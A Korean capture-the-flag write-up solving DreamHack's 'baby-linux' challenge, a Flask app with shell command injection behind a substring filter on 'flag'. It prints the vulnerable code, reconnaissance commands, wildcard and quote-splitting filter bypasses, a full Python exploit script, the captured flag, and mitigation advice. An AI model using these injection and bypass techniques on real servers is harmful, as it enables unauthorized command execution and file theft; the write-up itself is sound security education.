[🥉 Bronze 4] echo $(...) 명령 주입 — 와일드카드로 'flag' 필터 우회 — DreamHack baby-linux 풀이

문제: DreamHack — baby-linux 분류: Misc (웹으로 서비스되는 command injection) 난이도: 🥉 Bronze 4 FLAG: DH{671ce26c70829e716fae26c7c71a33823feb479f2562891f64605bf68f60ae54}

입력칸 하나에 echo $( 와 ) 가 양옆에 붙어 있는 페이지다. 넣은 값이 그대로 셸 명령 치환 안으로 들어가니, 명령 주입은 처음부터 열려 있다. 막는 건 딱 하나 — 만들어진 명령 문자열에 flag 라는 글자가 보이면 거절한다. 그래서 "flag 를 쓰지 않고 flag 파일을 읽는" 게 이 문제의 전부다.

문제 개요

풀이 흐름은 짧다. 명령 주입으로 파일 구조를 정찰해 flag 위치를 찾고, 정공법(cat .../flag.txt)이 필터에 막히는 걸 확인한 뒤, f* 와일드카드로 flag 글자 없이 같은 파일을 읽는다.

🧩 배경 — $( ) 명령 치환

$(명령) 은 셸의 명령 치환(command substitution) 이다. 괄호 안의 명령을 먼저 실행하고, 그 표준 출력으로 그 자리를 바꿔치기한다. echo $(date) 가 날짜를 찍는 이유다.

문제 서버는 사용자 입력을 바로 이 괄호 안에 넣는다.

cmd = f'echo $({user_input})'

즉 입력칸에 date 를 넣으면 서버는 echo $(date) 를 돌린다. 괄호 안은 echo 의 인자가 아니라 새로 실행되는 명령이라, 여기에 id, ls, cat 무엇을 넣든 그대로 실행된다. 명령 치환 자체가 이미 임의 명령 실행 통로다.

🔬 코드 정찰

제공된 app.py 는 한 화면에 들어온다.

#!/usr/bin/env python3
import subprocess
from flask import Flask, request, render_template
 
APP = Flask(__name__)
 
@APP.route('/', methods=['GET', 'POST'])
def index():
    if request.method == 'POST':
        user_input = request.form.get('user_input')
        cmd = f'echo $({user_input})'
        if 'flag' in cmd:
            return render_template('index.html', result='No!')
 
        try:
            output = subprocess.check_output(['/bin/sh', '-c', cmd], timeout=5)
            return render_template('index.html', result=output.decode('utf-8'))
        except subprocess.TimeoutExpired:
            return render_template('index.html', result='Timeout')
        except subprocess.CalledProcessError:
            return render_template('index.html', result='Error')
 
    return render_template('index.html')

볼 곳은 세 줄이다.

• cmd = f'echo $({user_input})' — 입력이 셸 명령에 문자열로 그대로 합쳐진다. 이스케이프도, 인자 분리도 없다.

• if 'flag' in cmd — 유일한 방어. 완성된 명령 문자열에 flag 부분 문자열이 있는지만 본다. 정규식도 토큰 검사도 아니고 단순 in 이다.

• subprocess.check_output(['/bin/sh', '-c', cmd], ...) — 그 문자열을 /bin/sh -c 로 실행하고 출력을 그대로 결과로 돌려준다. 출력이 화면에 그대로 찍히니 blind 가 아니라 곧바로 읽힌다.

무엇을 제어할 수 있나 — 직접 찔러보기

먼저 어떤 권한으로 도는지부터 봤다. 입력칸에 id 를 넣는다.

uid=1000(chall) — 평범한 사용자다. 루트는 아니지만 flag 파일만 읽으면 되니 상관없다. 다음은 파일 구조. ls -la /app 으로 앱 디렉토리를 본다.

app.py 옆에 dream/ 디렉토리와 hint.txt 가 보인다. 힌트부터 읽는다.

Where is Flag? ./dream/hack/hello

flag 는 /app/dream/hack/hello/flag.txt 에 있다. 위치는 알았으니 이제 읽기만 하면 되는데, 여기서부터 필터가 걸린다.

🐛 삽질 — 정공법은 막힌다

▶🐛 삽질 — cat .../flag.txt 를 그대로 넣으면 No!

위치를 알았으니 당연히 cat /app/dream/hack/hello/flag.txt 를 먼저 넣어봤다. 그러면 서버가 만든 명령은 echo $(cat /app/dream/hack/hello/flag.txt) 가 되고, 이 문자열엔 flag 가 들어 있다. if 'flag' in cmd 에 그대로 걸려 결과는 No!.

명령 자체는 유효하다. 문제는 명령 문자열에 flag 라는 다섯 글자가 보인다는 것 하나뿐이다. 그러니 "같은 파일을, flag 라는 글자 없이 가리키는 방법"만 찾으면 된다.

💣 핵심 — 부분 문자열 필터 vs 셸 와일드카드

필터는 명령 문자열에 flag 가 보이는지만 검사한다. 파일을 어떻게 가리키든 상관없이, 내가 보내는 글자에 flag 만 없으면 통과다. 그런데 셸은 파일명을 글자 그대로 받지 않는다 — 와일드카드를 먼저 펼친다.

f* 는 "현재 위치에서 f 로 시작하는 모든 이름"으로 셸이 전개한다. /app/dream/hack/hello/ 안에는 flag.txt 하나뿐이라, f* 는 셸 단계에서 flag.txt 로 바뀐다. 정리하면 이렇다.

• 내가 보내는 입력: cat /app/dream/hack/hello/f* — flag 글자 없음 → 필터 통과
• 셸이 실제로 실행: cat /app/dream/hack/hello/flag.txt — 글로빙 전개 후라 필터는 이미 지나감

필터는 파이썬 문자열 단계에서, 와일드카드 전개는 /bin/sh 단계에서 일어난다. 검사 시점과 실행 시점이 어긋나 있어서, 검사 때 안 보이던 flag 가 실행 때 생겨난다.

f* 말고도 flag 리터럴만 피하면 뭐든 된다. 따옴표로 글자를 쪼개는 fl''ag.txt(빈 따옴표는 셸이 제거), 한 글자만 가린 fla?.txt, 변수로 끼워넣는 방법 등 — 모두 같은 원리다. 부분 문자열 블랙리스트는 이런 우회에 본질적으로 약하다.

🎯 풀이

입력칸에 와일드카드 페이로드를 넣는다.

cat /app/dream/hack/hello/f*

서버가 echo $(cat /app/dream/hack/hello/f*) 를 실행하고, 셸이 f* 를 flag.txt 로 펼쳐 그 내용을 결과로 돌려준다.

DH{671ce26c70829e716fae26c7c71a33823feb479f2562891f64605bf68f60ae54}

🚀 Full Exploit

정찰부터 우회까지를 한 스크립트로 묶었다. POST 로 명령을 보내고 응답의 <pre> 안 결과만 뽑아오는 작은 래퍼 하나면 충분하다.

#!/usr/bin/env python3
# baby-linux — command injection 필터 우회
# cmd = f'echo $({user_input})' 를 /bin/sh -c 로 실행. cmd 에 'flag' 가
# 들어가면 차단되므로, 와일드카드(f*)로 'flag' 리터럴 없이 flag.txt 를 읽는다.
import re
import sys
import requests
 
URL = sys.argv[1] if len(sys.argv) > 1 else "http://host3.dreamhack.games:10799/"
 
 
def run(cmd):
    """user_input 으로 명령을 보내고 <pre> 안의 결과만 뽑아온다."""
    r = requests.post(URL, data={"user_input": cmd}, timeout=15)
    m = re.search(r"<pre>(.*?)</pre>", r.text, re.S)
    return m.group(1).strip() if m else "(no <pre>)"
 
 
print("[*] target :", URL)
print("[*] whoami :", run("id"))
print("[*] root   :", run("ls /"))
print("[*] hint   :", run("cat /app/hint.txt"))
 
# 정공법은 'flag.txt' 문자열 때문에 차단된다
print("[*] direct : cat .../flag.txt ->", run("cat /app/dream/hack/hello/flag.txt"))
 
# 와일드카드로 'flag' 리터럴을 피해 우회
flag = run("cat /app/dream/hack/hello/f*")
print("[+] FLAG   :", flag)

직접 막히는 줄(direct)까지 같이 찍어 두면, 필터가 실제로 동작하는데 우회만 통과한다는 게 한 화면에 보인다.

📝 결론

부분 문자열 블랙리스트는 우회 표면이 너무 넓다.

if 'flag' in cmd 는 "flag 라는 글자가 보이면 막는다"는 발상인데, 셸은 글자를 글자 그대로 실행하지 않는다. 와일드카드·따옴표·변수·인코딩처럼 같은 파일을 다른 글자로 가리키는 방법이 너무 많아, 금지어 한두 개로는 막을 수 없다. 검사하는 시점(파이썬 문자열)과 실행되는 시점(셸 전개 후)이 다르다는 점이 핵심이다.

제대로 막으려면 셸을 거치지 않아야 한다.

subprocess 에 문자열을 /bin/sh -c 로 넘기는 대신, 인자를 리스트로 직접 전달(shell=False)하면 명령 치환도 와일드카드 전개도 일어나지 않는다. 애초에 사용자 입력을 명령에 합치는 설계 자체를 피하고, 꼭 필요하면 허용 목록(allowlist) 기반으로 입력을 검증하는 게 맞다. 출력을 그대로 화면에 돌려주는 것도 정보 노출을 키운다.

baby-linux 라는 이름처럼 기법은 단순하지만, "필터를 우회한다"는 게 결국 검사 로직과 실행 로직 사이의 틈을 찾는 일이라는 걸 보여주는 문제다.